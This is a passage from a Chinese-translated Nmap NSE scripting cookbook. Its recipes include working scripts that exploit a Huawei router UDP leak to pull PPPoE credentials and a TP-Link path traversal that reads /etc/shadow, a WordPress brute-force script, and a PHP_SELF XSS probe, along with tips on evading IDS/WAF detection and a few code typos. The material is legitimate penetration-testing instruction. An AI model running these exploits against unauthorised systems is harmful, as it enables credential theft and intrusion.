reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)
添加请求后,使用http.pipeline()
执行管道:
local results = http.pipeline(target, 80, reqs)
变量结果将包含添加到 HTTP 请求队列中的响应对象的数量。要访问它们,您可以简单地遍历对象:
for i, req in pairs(results) do
stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end
另请参阅
-
使用 NSE 套接字发送 UDP 负载配方
-
使用 NSE 利用路径遍历漏洞配方
-
编写暴力脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
-
编写自己的 NSE 库配方
-
第四章中的列出支持的 HTTP 方法配方,审计 Web 服务器
-
第四章中的检查 HTTP 代理是否开放配方,审计 Web 服务器
-
第四章中的检测 Web 应用程序防火墙配方,审计 Web 服务器
-
第四章中的检测可能的 XST 漏洞配方,审计 Web 服务器
使用 NSE 套接字发送 UDP 负载
Nmap 脚本引擎提供了一个强大的库,用于处理网络 I/O 操作,提供了一个接口到Nsock。Nsock 是 Nmap 的优化并行套接字库,其灵活性允许开发人员处理原始数据包,并决定是否使用阻塞或非阻塞的网络 I/O 操作。
这个教程将介绍编写一个 NSE 脚本的过程,该脚本从文件中读取有效负载并发送 UDP 数据包以利用华为 HG5xx 路由器的漏洞。
如何做...
当华为 HG5xx 路由器接收到 UDP 端口 43690 的特殊数据包时,会泄露敏感信息。这个漏洞引起了我的注意,因为这是一个非常流行的设备,可以远程工作,并获取有趣的信息,如 PPPoE 凭据、MAC 地址和确切的软件/固件版本。让我们编写一个脚本来利用这些设备:
- 首先,创建文件
huawei-hg5xx-udpinfo.nse
并定义信息标签:
description=[[
Tries to obtain the PPPoE credentials, MAC address, firmware version and IP information of the aDSL modemsHuawei Echolife 520, 520b, 530 and possibly others by exploiting an information disclosure vulnerability via UDP.
The script works by sending a crafted UDP packet to port 43690 and then parsing the response that containsthe configuration values. This exploit has been reported to be blocked in some ISPs, in those cases the exploit seems to work fine in local networks.
Vulnerability discovered by Pedro Joaquin. No CVE assigned.
References:
* http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
* http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
]]
- 加载所需的库(Nmap 6.x 格式):
local "stdnse" = require "stdnse"
local "io" = require "io"
local "shortport" = require "shortport"
- 定义执行规则:
portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
- 创建一个函数,从文件中加载 UDP 负载:
load_udp_payload = function()
local payload_l = nmap.fetchfile(PAYLOAD_LOCATION)
if (not(payload_l)) then
stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION)
return
end
local payload_h = io.open(payload_l, "rb")
local payload = payload_h:read("*a")
if (not(payload)) then
stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l)
if nmap.verbosity()>=2 then
return "[Error] Couldn't load payload"
end
return
end
payload_h:flush()
payload_h:close()
return payload
end
- 创建一个函数,创建一个 NSE 套接字并发送特殊的 UDP 数据包:
send_udp_payload = function(ip, timeout, payload)
local data
stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME)
local socket = nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
if (not(status)) then return end
status = socket:send(payload)
if (not(status)) then return end
status, data = socket:receive()
if (not(status)) then
socket:close()
return
end
socket:close()
return data
end
- 添加主要方法,加载并发送 UDP 负载:
action = function(host, port)
local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
local payload = load_udp_payload()
local response = send_udp_payload(host.ip, timeout, payload)
if response then
return parse_resp(response)
end
end
- 您可以使用以下命令运行最终脚本:
# nmap -sU -p43690 --script huawei-hg5xx-udpinfo <target>
一个有漏洞的设备将返回以下输出:
PORT STATE SERVICE REASON
-- 43690/udp open|filtered unknown no-response
-- |_huawei5xx-udp-info: |\x10||||||||<Firmware version>|||||||||||||||||||||||||||||||<MAC addr>|||<Software version>||||||||||||||||||||||||||||||||||||||||||||| <local ip>|||||||||||||||||||<remote ip>||||||||||||||||||<model>|||||||||||||||<pppoe user>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||<pppoe password>
工作原理...
我们的脚本huawei-hg5xx-udpinfo
使用别名shortport.portnumber(ports, protos, states)
定义了执行规则。如果 UDP 端口 43690 是open
、open|filtered
或filtered
,我们的脚本将运行:
portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
您可以以几种不同的方式读取 NSE 参数,但推荐的函数是stdnse.get_script_args()
。这允许多个赋值,并支持快捷赋值(您不必在参数名之前输入脚本名称):
local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
NSE 套接字由nmap
库管理。要创建一个 NSE 套接字,使用函数nmap.new_socket()
,要连接到这个套接字,使用connect()
:
local socket = nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
我们发送我们的 UDP 负载如下:
status = socket:send(payload)
我们从 NSE 套接字中读取响应:
status, data = socket:receive()
和往常一样,我们需要在完成时使用close()
函数关闭套接字:
local socket = nmap.net_socket("udp")
…
socket:close()
现在我们可以处理接收到的数据。在这种情况下,我将用一个更容易阅读的输出替换空字符:
return data:gsub("%z", "|")
您可以从github.com/cldrn/nmap-nse-scripts/raw/master/scripts/6.x/huawei5xx-udp-info.nse
下载完整的脚本。
还有更多...
脚本huawei-hg5xx-udpinfo
使用标准的连接样式,其中创建套接字,建立连接,发送和/或接收数据,然后关闭连接。
如果您需要更多控制,nmap
库还支持读取和写入原始数据包。脚本引擎使用libpcap
包装器通过 Nsock 读取原始数据包,并可以在以太网或 IP 层发送它们。
当读取原始数据包时,您需要打开捕获设备并注册一个监听器,以处理数据包的到达。函数pcap_open()
、pcap_receive()
和pcap_close()
对应于打开捕获设备、接收数据包和关闭监听器。我建议您查看脚本sniffer-detect
(nmap.org/nsedoc/scripts/sniffer-detect.html
)、firewalk
(nmap.org/svn/scripts/firewalk.nse
)和ipidseq
(nmap.org/svn/scripts/ipidseq.nse
)。
如果需要发送原始数据包,使用nmap.new_dnet()
创建一个dnet
对象,并根据层(IP 或以太网),使用ip_open()
或ethernet_open()
方法打开连接。要实际发送原始数据包,使用适当的ip_send()
或ethernet_send()
函数。来自脚本ipidseq.nse
的以下片段说明了该过程:
local genericpkt = function(host, port)
local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4"
)
local tcp = packet.Packet:new(pkt, pkt:len())
tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip)
tcp:tcp_set_dport(port)
updatepkt(tcp)
return tcp
end
...
local sock = nmap.new_dnet()
try(sock:ip_open())
try(sock:ip_send(tcp.buf))
sock:ip_close()
我鼓励您阅读这些库的整个文档,网址为nmap.org/nsedoc/lib/nmap.html
。如果您正在使用原始数据包,库packet
也会对您有很大帮助(nmap.org/nsedoc/lib/packet.html)
)。
异常处理
nmap
库为设计用于帮助网络 I/O 任务的 NSE 脚本提供了异常处理机制。
nmap
库的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()
调用内。函数返回的第一个值表示完成状态。如果返回false
或nil
,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要进行设置和使用。nmap.new_try()
定义的 catch 函数将在引发异常时执行。
以下示例代码是脚本mysql-vuln-cve2012-2122.nse
的片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html
)。在此脚本中,catch 函数执行一些简单的垃圾收集,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap
的官方文档可在nmap.org/nsedoc/lib/nmap.html
找到。
调试 Nmap 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
进行 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 利用路径遍历漏洞配方
-
编写蛮力脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
-
编写自己的 NSE 库配方
-
使用 NSE 线程、条件变量和互斥体在 NSE 中工作配方
使用 NSE 利用路径遍历漏洞
路径遍历漏洞存在于许多 Web 应用程序中。Nmap NSE 使渗透测试人员能够快速编写脚本来利用它们。Lua 还支持字符串捕获,这在使用比正则表达式更简单的语法来提取信息时非常有帮助。
这个配方将教你如何编写一个 NSE 脚本,以利用 TP-Link 路由器某些型号中存在的路径遍历漏洞。
如何做...
我们将编写一个 NSE 脚本,利用几个 NSE 库和 Lua 的字符串库来利用几个 TP-Link 路由器中的路径遍历漏洞。
- 创建文件
http-tplink-dir-traversal.nse
并完成 NSE 信息标签:
description = [[
Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciateany help confirming the vulnerability in other models.
Advisory:
* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
Other interesting files:
* /tmp/topology.cnf (Wireless configuration)
* /tmp/ath0.ap_bss (Wireless encryption key)
]]
- 加载所需的库(Nmap 6.x 格式):
local http = require "http"
local io = require "io"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
- 使用
shortport
库的帮助定义执行规则:
portrule = shortport.http
- 编写一个函数来发送路径遍历请求并确定 Web 应用程序是否易受攻击:
local function check_vuln(host, port)
local evil_uri = "/help/../../etc/shadow"
stdnse.print_debug(1, "%s:HTTP GET %s", SCRIPT_NAME, evil_uri)
local response = http.get(host, port, evil_uri)
if response.body and response.status==200 and response.body:match("root:") then
stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
return true
end
return false
end
- 读取并解析响应中的文件,借助 Lua 捕获(
.*
)的一些帮助:
local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
- 最后,使用以下命令执行脚本:
$ nmap -p80 --script http-tplink-dir-traversal.nse <target>
易受攻击的设备将产生以下输出:
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-tplink-dir-traversal:
-- | VULNERABLE:
-- | Path traversal vulnerability in several TP-Link wireless routers
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- | This vulnerability can be exploited remotely and without authentication.
-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- | Disclosure date: 2012-06-18
-- | Extra information:
-- | /etc/shadow :
-- |
-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | bin::10933:0:99999:7:::
-- | daemon::10933:0:99999:7:::
-- | adm::10933:0:99999:7:::
-- | lp:*:10933:0:99999:7:::
-- | sync:*:10933:0:99999:7:::
-- | shutdown:*:10933:0:99999:7:::
-- | halt:*:10933:0:99999:7:::
-- | uucp:*:10933:0:99999:7:::
-- | operator:*:10933:0:99999:7:::
-- | nobody::10933:0:99999:7:::
-- | ap71::10933:0:99999:7:::
-- |
-- | References:
-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
它是如何工作的...
脚本http-tplink-dir-traversal.nse
执行以下任务以利用讨论的路径遍历漏洞:
-
首先,它发送路径遍历请求以确定安装是否易受攻击。
-
如果安装易受攻击,则从 Web 服务器发送的响应中提取请求的文件。
-
向用户报告漏洞并提供概念验证。
在这种情况下,需要http
库来发送包含路径遍历有效负载的 HTTP 请求。为了确定设备是否易受攻击,我们请求文件/etc/shadow
,因为我们知道所有设备中都存在此文件,并且其中必须存在一个 root 帐户:
local response = http.get(host, port, "/help/../../../etc/shadow")
响应应该包含请求的文件,位于结束脚本标记</SCRIPT>
之后的正文中:
要确认可利用性,我们只需要将响应主体与字符串"root:"进行匹配:
if response.body and response.status==200 and response.body:match("root:") then
stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
return true
end
Lua 捕获允许开发人员提取与给定模式匹配的字符串。它们非常有帮助,我强烈建议您尝试一下(www.lua.org/pil/20.3.html
):
local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
一旦确认漏洞,建议使用vulns
库进行报告。该库旨在统一各种 NSE 脚本使用的输出格式。它支持多个字段,以有组织的方式提供所有漏洞详细信息:
local vuln = {
title = 'Path traversal vulnerability in several TP-Link wireless routers',
state = vulns.STATE.NOT_VULN,
description = [[
Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
This vulnerability can be exploited without authentication.Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
references = {
'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740'
},
dates = {
disclosure = {year = '2012', month = '06', day = '18'}, },
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
在vulns
库中定义了以下状态:
STATE_MSG = {
[STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
[STATE.NOT_VULN] = 'NOT VULNERABLE',
[STATE.VULN] = 'VULNERABLE',
[STATE.DoS] = 'VULNERABLE (DoS)',
[STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
[bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
[bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}
要返回漏洞报告,请使用make_output(vuln)
。如果状态设置为除vulns.STATE.NOT_VULN
之外的任何值,此函数将返回漏洞报告:
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = { title = "VULN TITLE", ...}
…
vuln.state = vulns.STATE.EXPLOIT
…
vuln_report:make_output(vuln)
检查前面示例中的脚本输出,以查看使用 NSE 库vulns
时漏洞报告的外观。访问该库的官方文档,了解更多可能的报告字段及其用法:nmap.org/nsedoc/lib/vulns.html
。
还有更多...
在编写 NSE 脚本以利用路径遍历漏洞时,请记住 IPS/IDS 供应商将创建补丁来识别您的检测探针。如果可能的话,我建议您使用支持的最隐秘的编码方案。在上一个示例中,应用程序没有正确读取其他编码,我们别无选择,只能使用众所周知的模式"../"
,这将被任何体面的 WAF/IPS/IDS 检测到。
我建议使用工具 Dotdotpwn(dotdotpwn.blogspot.com/
)及其模块payload
来定位利用路径遍历漏洞时的模糊编码。理想情况下,您还可以编写一个小函数,随机使用不同的路径遍历模式来处理每个请求:
local traversals = {"../", "%2f"}
调试 NSE 脚本
如果发生意外情况,请打开调试以获取额外信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
以编程方式设置用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>
要在您的 NSE 脚本中设置用户代理,可以传递头字段:
options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)
HTTP 管线
一些 Web 服务器配置支持将一个以上的 HTTP 请求封装在单个数据包中。这可能加快 NSE HTTP 脚本的执行速度,建议在 Web 服务器支持的情况下使用。默认情况下,http
库尝试对 40 个请求进行管线处理,并根据网络条件和Keep-Alive
头自动调整该数字。
用户需要将脚本参数http.pipeline
设置为调整此值:
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
要在您的 NSE 脚本中实现 HTTP 管线,请使用函数http.pipeline_add()
和http.pipeline()
。首先,初始化一个变量来保存请求:
local reqs = nil
使用http.pipeline_add()
将请求添加到管道中:
reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)
添加请求后,使用http.pipeline()
执行管道:
local results = http.pipeline(target, 80, reqs)
变量结果将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,您可以简单地遍历对象:
for i, req in pairs(results) do
stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end
另请参阅
-
进行 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 套接字发送 UDP 负载配方
-
检测 Web 应用程序防火墙配方第四章, 审计 Web 服务器
-
检测可能的 XST 漏洞配方第四章, 审计 Web 服务器
-
编写暴力脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
编写暴力脚本
暴力破解密码审计已经成为 Nmap 脚本引擎的一个主要优势。库brute
允许开发人员快速编写脚本来执行他们的自定义暴力破解攻击。Nmap 提供了诸如unpwd
这样的库,它可以访问灵活的用户名和密码数据库,以进一步定制攻击,以及creds
库,它提供了一个接口来管理找到的有效凭据。
这个食谱将指导您通过使用 NSE 库brute
,unpwdb
和creds
来执行针对 Wordpress 安装的暴力破解密码审计的过程。
如何做...
让我们编写一个 NSE 脚本来暴力破解 Wordpress 帐户:
- 创建文件
http-wordpress-brute.nse
并填写信息标签:
description = [[
performs brute force password auditing against Wordpress CMS/blog installations.
This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses arestored using the credentials library.
Wordpress default uri and form names:
* Default uri:<code>wp-login.php</code>
* Default uservar: <code>log</code>
* Default passvar: <code>pwd</code>
]]
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
- 加载所需的库(Nmap 6.x 格式):
local brute = require "brute"
local creds = require "creds"
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
- 使用暴力引擎的 NSE 脚本需要按照以下方式实现其
Driver
类:
Driver = {
new = function(self, host, port, options)
...
end,
check = function(self)
...
end
login = function(self)
...
end
connect = function(self)
...
end
disconnect = function(self)
...
end
}
- 让我们创建与我们的脚本相关的相应函数:
constructor
函数负责读取脚本参数并设置脚本可能需要的任何其他选项:
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
o.port = port
o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
o.options = options
return o
end,
connect
函数可以留空,因为在这种情况下不需要连接到套接字;我们正在对 HTTP 服务执行暴力破解密码审计攻击(库http
在我们的下一个登录函数中使用时负责打开和关闭必要的套接字):
connect = function( self )
return true
end,
disconnect
函数也可以在这个脚本中留空:
disconnect = function( self )
return true
end,
check
函数用作在我们开始暴力破解密码攻击之前的健全性检查。请注意,这个函数最近被标记为不推荐使用,这些检查将需要在将来的版本中移动到主要部分:
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
return true
else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end
return false
- 最后是
login
函数:
login = function( self, username, password )
-- Note the no_cache directive
stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
-- This redirect is taking us to /wp-admin
if response.status == 302 then
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
- 我们留下了代码的主要部分来初始化、配置和启动暴力引擎:
action = function( host, port )
local status, result, engine
local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
engine:setMaxThreads(thread_num)
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
return result
end
工作原理...
库brute
为开发人员提供了一个有组织的接口,用于编写执行暴力破解密码审计的 NSE 脚本。暴力脚本的数量已经大大增加,目前 NSE 可以对许多应用程序、服务和协议进行暴力破解攻击:Apache Jserv、BackOrifice、Joomla、Citrix PN Web Agent XML、CVS、DNS、Domino Console、Dpap、IBM DB2、Wordpress、FTP、HTTP、Asterisk IAX2、IMAP、Informix Dynamic Server、IRC、iSCSI、LDAP、Couchbase Membase、RPA Tech Mobile Mouse、Metasploit msgrpc、Metasploit XMLRPC、MongoDB、MSSQL、MySQL、Nessus daemon、Netbus、Nexpose、Nping Echo、OpenVAS、Oracle、PCAnywhere、PostgreSQL、POP3、redis、rlogin、rsync、rpcap、rtsp、SIP、Samba、SMTP、SNMP、SOCKS、SVN、Telnet、VMWare Auth daemon 和 XMPP。
要使用这个库,我们需要创建一个Driver
类并将其作为参数传递给暴力引擎。每次登录尝试都会创建这个类的一个新实例:
Driver:login = function( self, username, password )
Driver:check = function( self ) [Deprecated]
Driver:connect = function( self )
Driver:disconnect = function( self )
在脚本http-wordpress-brute
中,函数connect()
和disconnect()
始终返回true
,因为事先不需要建立连接。
login
函数应返回一个布尔值来指示其状态。如果登录尝试成功,它还应返回一个Account
对象:
brute.Account:new( username, password, "OPEN")
在这个脚本中,我们还通过使用库creds
来存储凭据。这允许其他 NSE 脚本访问它们,用户甚至可以根据结果生成额外的报告。
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
还有更多...
NSE 库unpwdb
和brute
有几个脚本参数,用户可以调整这些参数以进行暴力破解密码审计攻击。
要使用不同的用户名和密码列表,分别设置参数userdb
和passdb
:
$ nmap -p80 --script http-wordpress-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
要在找到一个有效帐户后退出,请使用参数brute.firstOnly
:
$ nmap -p80 --script http-wordpress-brute --script-args brute.firstOnly <target>
要设置不同的超时限制,请使用参数unpwd.timelimit
。要无限期运行,将其设置为 0:
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=60m <target>
这些库的官方文档可以在以下网站找到:
调试 NSE 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
异常处理
nmap
库为 NSE 脚本提供了一个异常处理机制,旨在帮助处理网络 I/O 任务。
nmap
库中的异常处理机制运行正常。我们将要监视异常的代码包装在nmap.try()
调用内。函数返回的第一个值表示完成状态。如果返回false
或nil
,则第二个返回值必须是错误字符串。在成功执行的返回值的其余部分可以设置和使用。由nmap.new_try()
定义的catch
函数将在引发异常时执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse
的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html
)。在此脚本中,catch
函数执行一些简单的垃圾收集,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap
的官方文档可以在nmap.org/nsedoc/lib/nmap.html
找到。
Brute 模式
brute
库支持不同的模式,可以改变攻击中使用的组合。可用的模式有:
user
:对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
pass
:对于passdb
中列出的每个密码,将尝试userdb
中的每个用户
$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
creds
:这需要额外的参数brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
利用 HTTP 请求识别易受攻击的 Trendnet 网络摄像头配方
-
在第四章中的审计 Web 服务器中的暴力破解 HTTP 身份验证配方
-
在第四章中的审计 Web 服务器中的Brute-force 密码审计 Wordpress 安装配方
-
在第四章中的审计 Web 服务器中的Brute-force 密码审计 Joomla 安装配方
-
使用 NSE 套接字发送 UDP 有效载荷配方
-
在第四章中的审计 Web 服务器中的利用 NSE 的路径遍历漏洞配方
-
编写暴力破解脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
-
编写自己的 NSE 库配方
使用 Web 爬行库
在渗透测试 Web 应用程序时,需要对 Web 服务器中的每个文件进行某些检查。诸如查找遗忘的备份文件之类的任务可能会显示应用程序源代码或数据库密码。 Nmap 脚本引擎支持 Web 爬行,以帮助我们处理需要 Web 服务器上现有文件列表的任务。
这个配方将向您展示如何编写一个 NSE 脚本,该脚本将爬行 Web 服务器,寻找具有.php
扩展名的文件,并通过变量$_SERVER["PHP_SELF"]
执行注入测试,以查找反射型跨站脚本漏洞。
操作步骤...
一项一些主要安全扫描程序忽略的常见任务是通过变量$_SERVER["PHP_SELF"]
在 PHP 文件中查找反射型跨站脚本漏洞。在自动化此任务时,Web 爬行库httpspider
非常方便,如下所示:
- 创建脚本文件
http-phpself-xss.nse
并填写信息标签:
description=[[
Crawls a web server and attempts to find PHP files vulnerable to reflected cross site scripting via the variable $_SERVER["PHP_SELF"].
This script crawls the web server to create a list of PHP files and then sends an attack vector/probe to identify PHP_SELF cross site scripting vulnerabilities.
PHP_SELF XSS refers to reflected cross site scripting vulnerabilities caused by the lack of sanitation of the variable <code>$_SERVER["PHP_SELF"]</code> in PHP scripts. This variable iscommonly used in php scripts that display forms and when the script file name is needed.
Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]:
*http://www.securityfocus.com/bid/37351
*http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage
*http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x
The attack vector/probe used is: <code>/'"/><script>alert(1)</script></code>
]]
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"fuzzer", "intrusive", "vuln"}
- 加载所需的库(Nmap 6.x 格式):
local http = require 'http'
local httpspider = require 'httpspider'
local shortport = require 'shortport'
local url = require 'url'
local stdnse = require 'stdnse'
local vulns = require 'vulns'
- 定义脚本应在遇到别名为
shortport.http
的 HTTP 服务器时运行:
portrule = shortport.http
- 编写一个函数,该函数将从爬虫接收一个 URI 并发送一个注入探针:
local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
local probes = {}
local function launch_probe(host, port, uri)
local probe_response
--We avoid repeating probes.
--This is a temp fix since httpspider do not keep track of previously parsed links at the moment.
if probes[uri] then
return false
end
stdnse.print_debug(1, "%s:HTTP GET %s%s", SCRIPT_NAME, uri, PHP_SELF_PROBE)
probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
--save probe in list to avoid repeating it
probes[uri] = true
if check_probe_response(probe_response) then
return true
end
return false
end
- 添加一个函数,用于检查响应主体,以确定 PHP 文件是否易受攻击:
local function check_probe_response(response)
stdnse.print_debug(3, "Probe response:\n%s", response.body)
if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
return true
end
return false
end
- 在脚本的主要部分,我们将添加读取脚本参数、初始化
http
爬虫、设置漏洞信息,并迭代页面以启动探测(如果找到 PHP 文件)的代码:
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout)
local vuln = {
title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP files',
state = vulns.STATE.NOT_VULN,
description = [[
PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
]],
references = {
'http://php.net/manual/en/reserved.variables.server.php',
'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)'
}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vulnpages = {}
local probed_pages= {}
while(true) do
local status, r = crawler:crawl()
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
local parsed = url.parse(tostring(r.url))
--Only work with .php files
if ( parsed.path and parsed.path:match(".*.php") ) then
--The following port/scheme code was seen in http-backup-finder and its neat =)
local host, port = parsed.host, parsed.port
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
local escaped_link = parsed.path:gsub(" ", "%%20")
if launch_probe(host,port,escaped_link) then
table.insert(vulnpages, parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE)
end
end
end
if ( #vulnpages > 0 ) then
vuln.state = vulns.STATE.EXPLOIT
vulnpages.name = "Vulnerable files with proof of concept:"
vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
end
return vuln_report:make_output(vuln)
end
要运行脚本,请使用以下命令:
